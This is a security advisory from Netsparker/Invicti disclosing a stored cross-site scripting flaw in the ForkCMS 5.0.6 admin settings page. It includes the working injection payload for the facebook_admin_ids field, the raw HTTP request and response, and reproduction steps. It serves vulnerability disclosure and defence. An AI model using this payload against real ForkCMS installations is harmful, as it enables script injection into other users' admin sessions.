Information
--------------------
Advisory by Netsparker (now Invicti)
Name: Stored Cross-site Scripting Vulnerabilities in ForkCMS
Affected Software: ForkCMS
Affected Versions: 5.0.6
Homepage: https://www.fork-cms.com/
Vulnerability: Stored Cross-site Scripting
Severity: Medium
Status: Not Fixed
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-032

Technical Details
--------------------

Injection Details

URL: http://{domain}/{forkcms_path}/private/en/settings
Parameter Name: facebook_admin_ids
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x018E3D) x="

Injection Raw Request

POST /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

...............&facebook_admin_ids=x%22%20onmouseover%3dalert(0x018E3D)%20x%3d%22&facebook_application_id=...............

Identification Raw Request

GET /{forkcms_path}/private/en/settings HTTP/1.1
Host: {domain}
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID={cookie}

Identification Raw Response

HTTP/1.1 200 OK
...
...
<!DOCTYPE html>
<html lang="en">
...
...
<input value="x" onmouseover=alert(0x018E3D) x="" id="facebookAdminIds" name="facebook_admin_ids" maxlength="255" type="text" class="form-control fork-form-text" />

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Repro Steps
--------------------

  1. Login
  2. Go to "Settings > General" page
  3. Paste attack pattern to "Admin ids" input on the"Facebook" section
  4. Click "Add" button
  5. Click save button
  6. Trigger XSS: Take the mouse cursor over the "Admin ids" input on the "Facebook" section

Advisory Timeline
--------------------

24th October 2017 - First Contact Attempt
31st December 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omer Citak while testing Invicti Web Application Security Scanner.

About Invicti
--------------------

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.